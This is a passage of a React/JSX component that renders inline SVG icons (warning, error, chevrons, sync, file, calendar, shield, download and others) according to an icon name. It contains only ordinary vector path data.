                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M506.3 417l-213.3-364c-16.33-28-57.54-28-73.98 0l-213.2 364C-10.59 444.9 9.849 480 42.74 480h426.6C502.1 480 522.6 445 506.3 417zM232 168c0-13.25 10.75-24 24-24S280 154.8 280 168v128c0 13.25-10.75 24-23.1 24S232 309.3 232 296V168zM256 416c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 401.9 273.4 416 256 416z"/>
                </svg>
    }
    if (iconName === 'error') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM232 152C232 138.8 242.8 128 256 128s24 10.75 24 24v128c0 13.25-10.75 24-24 24S232 293.3 232 280V152zM256 400c-17.36 0-31.44-14.08-31.44-31.44c0-17.36 14.07-31.44 31.44-31.44s31.44 14.08 31.44 31.44C287.4 385.9 273.4 400 256 400z"/>
                </svg>
    }

    if (iconName === 'times') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M310.6 361.4c12.5 12.5 12.5 32.75 0 45.25C304.4 412.9 296.2 416 288 416s-16.38-3.125-22.62-9.375L160 301.3L54.63 406.6C48.38 412.9 40.19 416 32 416S15.63 412.9 9.375 406.6c-12.5-12.5-12.5-32.75 0-45.25l105.4-105.4L9.375 150.6c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L160 210.8l105.4-105.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-105.4 105.4L310.6 361.4z"/>
                </svg>
    }

    if (iconName === 'circle-check') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM371.8 211.8C382.7 200.9 382.7 183.1 371.8 172.2C360.9 161.3 343.1 161.3 332.2 172.2L224 280.4L179.8 236.2C168.9 225.3 151.1 225.3 140.2 236.2C129.3 247.1 129.3 264.9 140.2 275.8L204.2 339.8C215.1 350.7 232.9 350.7 243.8 339.8L371.8 211.8z"/>
                </svg>
    }

    if (iconName === 'circle-times') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M0 256C0 114.6 114.6 0 256 0C397.4 0 512 114.6 512 256C512 397.4 397.4 512 256 512C114.6 512 0 397.4 0 256zM175 208.1L222.1 255.1L175 303C165.7 312.4 165.7 327.6 175 336.1C184.4 346.3 199.6 346.3 208.1 336.1L255.1 289.9L303 336.1C312.4 346.3 327.6 346.3 336.1 336.1C346.3 327.6 346.3 312.4 336.1 303L289.9 255.1L336.1 208.1C346.3 199.6 346.3 184.4 336.1 175C327.6 165.7 312.4 165.7 303 175L255.1 222.1L208.1 175C199.6 165.7 184.4 165.7 175 175C165.7 184.4 165.7 199.6 175 208.1V208.1z"/>
                </svg>
    }

    if (iconName === 'chevron-up') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M416 352c-8.188 0-16.38-3.125-22.62-9.375L224 173.3l-169.4 169.4c-12.5 12.5-32.75 12.5-45.25 0s-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25C432.4 348.9 424.2 352 416 352z"/>
                </svg>
    }

    if (iconName === 'chevron-down') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M224 416c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0L224 338.8l169.4-169.4c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25l-192 192C240.4 412.9 232.2 416 224 416z"/>
                </svg>
    }

    if (iconName === 'chevron-right') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M96 480c-8.188 0-16.38-3.125-22.62-9.375c-12.5-12.5-12.5-32.75 0-45.25L242.8 256L73.38 86.63c-12.5-12.5-12.5-32.75 0-45.25s32.75-12.5 45.25 0l192 192c12.5 12.5 12.5 32.75 0 45.25l-192 192C112.4 476.9 104.2 480 96 480z"/>
                </svg>
    }

    if (iconName === 'chevron-left') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 320 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M224 480c-8.188 0-16.38-3.125-22.62-9.375l-192-192c-12.5-12.5-12.5-32.75 0-45.25l192-192c12.5-12.5 32.75-12.5 45.25 0s12.5 32.75 0 45.25L77.25 256l169.4 169.4c12.5 12.5 12.5 32.75 0 45.25C240.4 476.9 232.2 480 224 480z"/>
                </svg>
    }

    if (iconName === 'plus') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M432 256c0 17.69-14.33 32.01-32 32.01H256v144c0 17.69-14.33 31.99-32 31.99s-32-14.3-32-31.99v-144H48c-17.67 0-32-14.32-32-32.01s14.33-31.99 32-31.99H192v-144c0-17.69 14.33-32.01 32-32.01s32 14.32 32 32.01v144h144C417.7 224 432 238.3 432 256z"/>
                </svg>
    }

    if (iconName === 'minus') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M400 288h-352c-17.69 0-32-14.32-32-32.01s14.31-31.99 32-31.99h352c17.69 0 32 14.3 32 31.99S417.7 288 400 288z"/>
                </svg>
    }


    if (iconName === 'sync') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M483.515 28.485L431.35 80.65C386.475 35.767 324.485 8 256 8 123.228 8 14.824 112.338 8.31 243.493 7.971 250.311 13.475 256 20.301 256h28.045c6.353 0 11.613-4.952 11.973-11.294C66.161 141.649 151.453 60 256 60c54.163 0 103.157 21.923 138.614 57.386l-54.128 54.129c-7.56 7.56-2.206 20.485 8.485 20.485H492c6.627 0 12-5.373 12-12V36.971c0-10.691-12.926-16.045-20.485-8.486zM491.699 256h-28.045c-6.353 0-11.613 4.952-11.973 11.294C445.839 370.351 360.547 452 256 452c-54.163 0-103.157-21.923-138.614-57.386l54.128-54.129c7.56-7.56 2.206-20.485-8.485-20.485H20c-6.627 0-12 5.373-12 12v143.029c0 10.691 12.926 16.045 20.485 8.485L80.65 431.35C125.525 476.233 187.516 504 256 504c132.773 0 241.176-104.338 247.69-235.493.339-6.818-5.165-12.507-11.991-12.507z"></path>
                </svg>
    }

    if (iconName === 'sync-error') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M256 79.1C178.5 79.1 112.7 130.1 89.2 199.7C84.96 212.2 71.34 218.1 58.79 214.7C46.23 210.5 39.48 196.9 43.72 184.3C73.6 95.8 157.3 32 256 32C337.5 32 408.8 75.53 448 140.6V104C448 90.75 458.7 80 472 80C485.3 80 496 90.75 496 104V200C496 213.3 485.3 224 472 224H376C362.7 224 352 213.3 352 200C352 186.7 362.7 176 376 176H412.8C383.7 118.1 324.4 80 256 80V79.1zM280 263.1C280 277.3 269.3 287.1 256 287.1C242.7 287.1 232 277.3 232 263.1V151.1C232 138.7 242.7 127.1 256 127.1C269.3 127.1 280 138.7 280 151.1V263.1zM224 352C224 334.3 238.3 319.1 256 319.1C273.7 319.1 288 334.3 288 352C288 369.7 273.7 384 256 384C238.3 384 224 369.7 224 352zM40 432C26.75 432 16 421.3 16 408V311.1C16 298.7 26.75 287.1 40 287.1H136C149.3 287.1 160 298.7 160 311.1C160 325.3 149.3 336 136 336H99.19C128.3 393 187.6 432 256 432C333.5 432 399.3 381.9 422.8 312.3C427 299.8 440.7 293 453.2 297.3C465.8 301.5 472.5 315.1 468.3 327.7C438.4 416.2 354.7 480 256 480C174.5 480 103.2 436.5 64 371.4V408C64 421.3 53.25 432 40 432V432z"/>
                </svg>
    }

    if (iconName === 'shortcode') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M128 32H32C14.4 32 0 46.4 0 64v384c0 17.6 14.4 32 32 32h96C145.7 480 160 465.7 160 448S145.7 416 128 416H64V96h64C145.7 96 160 81.67 160 64S145.7 32 128 32zM416 32h-96C302.3 32 288 46.33 288 63.1S302.3 96 319.1 96H384v320h-64C302.3 416 288 430.3 288 447.1S302.3 480 319.1 480H416c17.6 0 32-14.4 32-32V64C448 46.4 433.6 32 416 32z"/>
                </svg>
    }

    if (iconName === 'file') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M0 64C0 28.65 28.65 0 64 0H229.5C246.5 0 262.7 6.743 274.7 18.75L365.3 109.3C377.3 121.3 384 137.5 384 154.5V448C384 483.3 355.3 512 320 512H64C28.65 512 0 483.3 0 448V64zM336 448V160H256C238.3 160 224 145.7 224 128V48H64C55.16 48 48 55.16 48 64V448C48 456.8 55.16 464 64 464H320C328.8 464 336 456.8 336 448z"/>
                </svg>
    }

    if (iconName === 'file-disabled') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M639.1 487.1c0-7.119-3.153-14.16-9.191-18.89l-118.8-93.12l.0013-237.3c0-16.97-6.742-33.26-18.74-45.26l-74.63-74.64C406.6 6.742 390.3 0 373.4 0H192C156.7 0 128 28.65 128 64L128 75.01L38.82 5.11C34.41 1.672 29.19 0 24.04 0C10.19 0-.0002 11.3-.0002 23.1c0 7.12 3.153 14.16 9.192 18.89l591.1 463.1C605.6 510.3 610.8 512 615.1 512C629.8 512 639.1 500.6 639.1 487.1zM464 338.4l-287.1-225.7l-.002-48.51c0-8.836 7.164-16 15.1-16h160l-.0065 79.87c0 17.67 14.33 31.1 31.1 31.1L464 159.1V338.4zM448 463.1H192c-8.834 0-15.1-7.164-15.1-16L176 234.6L128 197L128 447.1c0 35.34 28.65 64 63.1 64H448c20.4 0 38.45-9.851 50.19-24.84l-37.72-29.56C457.5 461.4 453.2 463.1 448 463.1z"/>
                </svg>
    }
    if (iconName === 'loading') {
        renderedIcon =
            <svg xmlns="http://www.w3.org/2000/svg"
                 focusable="false" role="img"
                 xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                 height={iconSize}>
                <path fill={iconColors[color]}
                      d="M304 48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zm0 416c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM48 304c26.5 0 48-21.5 48-48s-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48zm464-48c0-26.5-21.5-48-48-48s-48 21.5-48 48s21.5 48 48 48s48-21.5 48-48zM142.9 437c18.7-18.7 18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zm0-294.2c18.7-18.7 18.7-49.1 0-67.9S93.7 56.2 75 75s-18.7 49.1 0 67.9s49.1 18.7 67.9 0zM369.1 437c18.7 18.7 49.1 18.7 67.9 0s18.7-49.1 0-67.9s-49.1-18.7-67.9 0s-18.7 49.1 0 67.9z"/>
            </svg>
    }
    if (iconName === 'file-download') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M216 342.1V240c0-13.25-10.75-24-24-24S168 226.8 168 240v102.1L128.1 303C124.3 298.3 118.2 296 112 296S99.72 298.3 95.03 303c-9.375 9.375-9.375 24.56 0 33.94l80 80c9.375 9.375 24.56 9.375 33.94 0l80-80c9.375-9.375 9.375-24.56 0-33.94s-24.56-9.375-33.94 0L216 342.1zM365.3 93.38l-74.63-74.64C278.6 6.742 262.3 0 245.4 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.2 0 64-28.8 64-64V138.6C384 121.7 377.3 105.4 365.3 93.38zM336 448c0 8.836-7.164 16-16 16H64.02c-8.838 0-16-7.164-16-16L48 64.13c0-8.836 7.164-16 16-16h160L224 128c0 17.67 14.33 32 32 32h79.1V448z"/>
                </svg>
    }

    if (iconName === 'calendar') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M152 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V448C448 483.3 419.3 512 384 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24V64zM48 448C48 456.8 55.16 464 64 464H384C392.8 464 400 456.8 400 448V192H48V448z"/>
                </svg>
    }

    if (iconName === 'calendar-error') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M151.1 64H296V24C296 10.75 306.7 0 320 0C333.3 0 344 10.75 344 24V64H384C419.3 64 448 92.65 448 128V192H47.1V448C47.1 456.8 55.16 464 63.1 464H284.5C296.7 482.8 312.5 499.1 330.8 512H64C28.65 512 0 483.3 0 448V128C0 92.65 28.65 64 64 64H104V24C104 10.75 114.7 0 128 0C141.3 0 152 10.75 152 24L151.1 64zM576 368C576 447.5 511.5 512 432 512C352.5 512 287.1 447.5 287.1 368C287.1 288.5 352.5 224 432 224C511.5 224 576 288.5 576 368zM432 416C418.7 416 408 426.7 408 440C408 453.3 418.7 464 432 464C445.3 464 456 453.3 456 440C456 426.7 445.3 416 432 416zM447.1 288C447.1 279.2 440.8 272 431.1 272C423.2 272 415.1 279.2 415.1 288V368C415.1 376.8 423.2 384 431.1 384C440.8 384 447.1 376.8 447.1 368V288z"/>
                </svg>
    }

    if (iconName === 'help') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 400c-18 0-32-14-32-32s13.1-32 32-32c17.1 0 32 14 32 32S273.1 400 256 400zM325.1 258L280 286V288c0 13-11 24-24 24S232 301 232 288V272c0-8 4-16 12-21l57-34C308 213 312 206 312 198C312 186 301.1 176 289.1 176h-51.1C225.1 176 216 186 216 198c0 13-11 24-24 24s-24-11-24-24C168 159 199 128 237.1 128h51.1C329 128 360 159 360 198C360 222 347 245 325.1 258z"/>
                </svg>
    }

    if (iconName === 'copy') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M502.6 70.63l-61.25-61.25C435.4 3.371 427.2 0 418.7 0H255.1c-35.35 0-64 28.66-64 64l.0195 256C192 355.4 220.7 384 256 384h192c35.2 0 64-28.8 64-64V93.25C512 84.77 508.6 76.63 502.6 70.63zM464 320c0 8.836-7.164 16-16 16H255.1c-8.838 0-16-7.164-16-16L239.1 64.13c0-8.836 7.164-16 16-16h128L384 96c0 17.67 14.33 32 32 32h47.1V320zM272 448c0 8.836-7.164 16-16 16H63.1c-8.838 0-16-7.164-16-16L47.98 192.1c0-8.836 7.164-16 16-16H160V128H63.99c-35.35 0-64 28.65-64 64l.0098 256C.002 483.3 28.66 512 64 512h192c35.2 0 64-28.8 64-64v-32h-47.1L272 448z"/>
                </svg>
    }

    if (iconName === 'info') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M256 512c141.4 0 256-114.6 256-256S397.4 0 256 0S0 114.6 0 256S114.6 512 256 512zM216 336h24V272H216c-13.3 0-24-10.7-24-24s10.7-24 24-24h48c13.3 0 24 10.7 24 24v88h8c13.3 0 24 10.7 24 24s-10.7 24-24 24H216c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-144c-17.7 0-32-14.3-32-32s14.3-32 32-32s32 14.3 32 32s-14.3 32-32 32z"/>
                </svg>
    }
    if (iconName === 'info-open') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img" xmlns="http://www.w3.org/2000/svg"
                     viewBox="0 0 512 512" height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M256 0C114.6 0 0 114.6 0 256s114.6 256 256 256s256-114.6 256-256S397.4 0 256 0zM256 464c-114.7 0-208-93.31-208-208S141.3 48 256 48s208 93.31 208 208S370.7 464 256 464zM256 304c13.25 0 24-10.75 24-24v-128C280 138.8 269.3 128 256 128S232 138.8 232 152v128C232 293.3 242.8 304 256 304zM256 337.1c-17.36 0-31.44 14.08-31.44 31.44C224.6 385.9 238.6 400 256 400s31.44-14.08 31.44-31.44C287.4 351.2 273.4 337.1 256 337.1z"/>
                </svg>
    }

    if (iconName === 'list') {
        renderedIcon =
                <svg aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
                     height={iconSize}>
                    <path fill={iconColors[iconColor]}
                          d="M184.1 38.2c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 113c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zm0 160c9.9 8.9 10.7 24 1.8 33.9l-72 80c-4.4 4.9-10.6 7.8-17.2 7.9s-12.9-2.4-17.6-7L39 273c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l22.1 22.1 55.1-61.2c8.9-9.9 24-10.7 33.9-1.8zM256 96c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zm0 160c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H288c-17.7 0-32-14.3-32-32zM192 416c0-17.7 14.3-32 32-32H512c17.7 0 32 14.3 32 32s-14.3 32-32 32H224c-17.7 0-32-14.3-32-32zM80 464c-26.5 0-48-21.5-48-48s21.5-48 48-48s48 21.5 48 48s-21.5 48-48 48z"/>
                </svg>
    }

    if (iconName === 'empty') {
        renderedIcon =
                <svg height={iconSize} width={iconSize} aria-hidden="true" focusable="false" role="img"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 280.8 363.67">
                </svg>
    }

  if (iconName === 'external-link') {
    renderedIcon =
          <svg aria-hidden="true" focusable="false" role="img"
               xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"
               height={iconSize}>
            <path fill={iconColors[iconColor]} d="M384 32c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96C0 60.7 28.7 32 64 32H384zM160 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h94.1L119 327c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0l135-135V328c0 13.3 10.7 24 24 24s24-10.7 24-24V168c0-13.3-10.7-24-24-24H160z"/>
        </svg>
    }

    if (iconName === 'shield') {
        renderedIcon =
                <svg height={iconSize} aria-hidden="true" focusable="false" role="img"
                     id="uuid-026a4e87-44db-4336-a398-3c29d25b7317"
                     xmlns="http://www.w3.org/2000/svg" viewBox="0 0 280.8 363.67">
                    <path fill="#f9c23e"
                          d="M280.8,62.4L140.5,0,0,62.2V213.3c0,10.7,1.6,21.3,4.9,31.5,9.5,29.9,28.2,52.8,54.4,69.5,26,16.6,52.4,32.4,78.6,48.6,2,1.2,3.4,.9,5.1-.2,19.9-12.3,39.8-24.5,59.6-36.8,12.6-7.8,25.5-15.1,36.5-25.1,26.4-24.2,41.4-53.6,41.5-89.9V62.4h.2Z"/>
                    <g>
                        <g>
                            <rect className="uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4" x="155" y="266.8" width="77.6"
                                  height="6"/>
                            <path fill="#1d2327"
                                  d="M224.4,204.5h-1.8v-10.1c0-15.9-12.9-28.8-28.8-28.8s-28.8,12.9-28.8,28.8v10.1h-1.8c-4.6,0-8.3,3.7-8.3,8.3v51.3h77.6v-51.3c0-4.6-3.7-8.3-8.3-8.3h.2Zm-45.3-10.1c0-8.1,6.6-14.7,14.7-14.7s14.7,6.6,14.7,14.7v10.1h-29.5v-10.1h.1Zm36.6,32.9l-20.7,20.2c-.2,.2-.3,.4-.5,.6l-2,2c-.2,.2-.4,.4-.6,.5l-3.8,3.8-4.5-4.3-2-2c-.2-.2-.4-.4-.5-.6l-9.1-9.1c-2.4-2.4-2.4-6.4,0-8.8l2-2c2.4-2.4,6.4-2.4,8.8,0l5.3,5.3,16.9-16.4c2.4-2.4,6.4-2.4,8.8,0l2,2c2.4,2.4,2.4,6.4,0,8.8h-.1Z"/>
                        </g>
                        <g>
                            <path fill="#1d2327"
                                  d="M125.2,192.3c-.5-2.9-.5-5.8-1-8.6-.5-2.4-2.6-4-4.8-3.9-2.3,0-4.2,1.9-4.7,4.3-.2,1,0,1.9,0,2.9,.8,14.6,7.2,26.3,18.2,35.7,2.2,1.9,4.5,3.5,6.9,4.8v-11.8c-7.4-5.8-12.9-14.1-14.6-23.3v-.1Z"/>
                            <path className="uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4"
                                  d="M96.4,236.1c-13-15-20-32.3-19.5-52.3,.3-13.1,6.1-23.6,16.6-31.2,11.5-8.5,24.5-10.9,38.3-7.1,12.7,3.5,22,10.7,27.4,22,2.1-2.7,4.5-5.2,7.2-7.4-4-7-9.7-12.9-17-17.4-17-10.4-34.9-11.7-52.9-3.1-19,9.1-28.7,24.7-29.3,45.8,0,5.2,.5,10.2,1.4,15.2,3.4,19.4,13.4,35.2,27.2,48.9,1.1,1.1,2.5,1.6,4.1,1.4,1.8-.2,3.2-1.3,3.8-3,.6-1.8,.4-3.6-1-5.1-2.1-2.2-4.2-4.4-6.2-6.7h-.1Z"/>
                            <path className="uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4"
                                  d="M68.1,89.4c1.1-.4,2.1-1,3.1-1.5,17.9-9.1,36.8-12.7,56.8-11.3,12.2,.8,23.9,3.8,35.1,8.7,3,1.3,5.9,2.8,8.9,4.1,2.7,1.1,5.3,0,6.4-2.4,1.1-2.3,0-5-2.3-6.3-11-5.7-22.4-10-34.6-12.3-4.2-.8-8.5-1.1-12.8-1.7h-17.1c-.3,0-.6,.2-.9,.2-11.2,.8-22,3.2-32.5,7.2-4.9,1.9-9.7,4.1-14.3,6.6-2.5,1.3-3.4,4.2-2.2,6.5,1.1,2.2,4,3.2,6.4,2.1v.1Z"/>
                            <path className="uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4"
                                  d="M61.1,153.5c13.6-21.6,33.6-31.5,58.7-32.1h6c.8,0,1.6,.2,2.3,.3,13.4,1.7,25.5,6.6,35.9,15.4,5.8,4.9,10.5,10.3,14.1,16.2,3.1-1.2,6.4-2,9.8-2.5-4.7-8.7-11.3-16.3-19.6-22.7-19-14.6-40.5-19.5-64.1-15.1-14.3,2.7-26.9,9-37.7,18.8-10.4,9.5-17.8,20.9-21.2,34.6-2.8,11.3-2.6,22.7-.9,34.1,1.1,7,2.9,13.9,5.4,20.5,.9,2.3,3,3.7,5.2,3.5,2.1-.2,3.9-2,4.3-4.3,.2-1.1-.2-2.2-.6-3.2-4.3-11.9-6.3-24.1-5.6-36.7,.5-9.6,2.8-18.7,8-26.8h0Z"/>
                            <path className="uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4"
                                  d="M139.8,240.6c-20.9-8.4-34.1-23.7-38.4-46.7-.8-4.3-1.4-8.7-.4-13,1.8-7.1,6.4-11.4,13.4-13.5,11.8-3.4,24.7,5.3,24.5,17.6,0,4.8,1.4,9.3,4,13.4,.3,.5,.6,.9,.9,1.3,1.6-2.4,3.7-4.6,6.1-6.2,0-.9,0-1.9,.2-2.8-.7-1.7-1.1-3.5-1.2-5.3-.3-6.1-1.6-11.9-5.5-16.8-6.8-8.8-15.9-12.4-27-11.5-11.3,.9-21.6,9.6-24.5,20.6-1.8,6.6-.9,13.3,.4,19.8,2.4,12.9,8.2,24,17.1,33.7,8.6,9.4,18.8,15.8,30.6,19.8v-10.4h-.2Z"/>
                            <path className="uuid-57af18f1-eed9-4dfe-9c3e-67e3c55f9bf4"
                                  d="M47.5,133.2c6.8-8.8,15-16,24.6-21.6,20.8-12,43.2-15.2,66.6-11,14.8,2.7,28.2,8.7,39.9,18.2,6.3,5,11.6,11,16.4,17.4,1.9,2.5,4.8,2.8,7,1.1,2.1-1.7,2.4-4.5,.6-7-5.9-8.2-12.8-15.3-20.9-21.3-18.3-13.6-39.1-19.6-61.7-20-6.3,0-12.5,.6-18.6,1.6-15.7,2.8-30.1,8.6-42.9,18.1-8.3,6.2-15.5,13.5-21.5,22-1.6,2.3-1.3,5.1,.7,6.7,2.1,1.7,4.9,1.5,6.8-.7,1-1.2,1.9-2.5,2.9-3.7l.1,.2Z"/>
                        </g>
                    </g>
                </svg>
    }

    if (iconName === 'file-search') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg" height={iconSize} fill="none" viewBox="0 0 384 512">
                <path
                    d="M374.6 150.6l-141.3-141.3C227.4 3.371 219.2 0 210.7 0H64C28.65 0 0 28.65 0 64l.0065 384c0 35.34 28.65 64 64 64H320c35.35 0 64-28.66 64-64V173.3C384 164.8 380.6 156.6 374.6 150.6zM224 22.63L361.4 160H248C234.8 160 224 149.2 224 136V22.63zM368 448c0 26.47-21.53 48-48 48H64c-26.47 0-48-21.53-48-48V64c0-26.47 21.53-48 48-48h144v120c0 22.06 17.94 40 40 40h120V448zM176 208c-53.02 0-96 42.98-96 96s42.98 96 96 96c23.62 0 44.96-8.859 61.68-23l68.66 68.66C307.9 447.2 309.9 448 312 448s4.094-.7813 5.656-2.344c3.125-3.125 3.125-8.188 0-11.31l-68.66-68.66C263.1 348.1 272 327.6 272 304C272 250.1 229 208 176 208zM176 384C131.9 384 96 348.1 96 304S131.9 224 176 224S256 259.9 256 304S220.1 384 176 384z"/>
            </svg>
    }

    if (iconName === 'download') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg" height={iconSize} fill="none" viewBox="0 0 512 512">
                <path
                    d="M480 352h-88C387.6 352 384 355.6 384 360s3.582 8 8 8H480c8.822 0 16 7.178 16 16v96c0 8.822-7.178 16-16 16H32c-8.822 0-16-7.178-16-16v-96c0-8.822 7.178-16 16-16h88C124.4 368 128 364.4 128 360S124.4 352 120 352H32c-17.67 0-32 14.33-32 32v96c0 17.67 14.33 32 32 32h448c17.67 0 32-14.33 32-32v-96C512 366.3 497.7 352 480 352zM464 432c0-17.6-14.4-32-32-32s-32 14.4-32 32c0 17.6 14.4 32 32 32S464 449.6 464 432zM416 432c0-8.822 7.178-16 16-16s16 7.178 16 16S440.8 448 432 448S416 440.8 416 432zM250.3 413.7c3.125 3.125 8.188 3.125 11.31 0l152-152C415.2 260.1 416 258.1 416 256s-.7813-4.094-2.344-5.656c-3.125-3.125-8.188-3.125-11.31 0L264 388.7V8C264 3.594 260.4 0 256 0S248 3.594 248 8v380.7L109.7 250.3c-3.125-3.125-8.188-3.125-11.31 0s-3.125 8.188 0 11.31L250.3 413.7z"/>
            </svg>
    }

    if (iconName === 'satellite-dish') {
        renderedIcon = <svg xmlns="http://www.w3.org/2000/svg" color={iconColors[iconColor]} height={iconSize} viewBox="0 0 512 512">
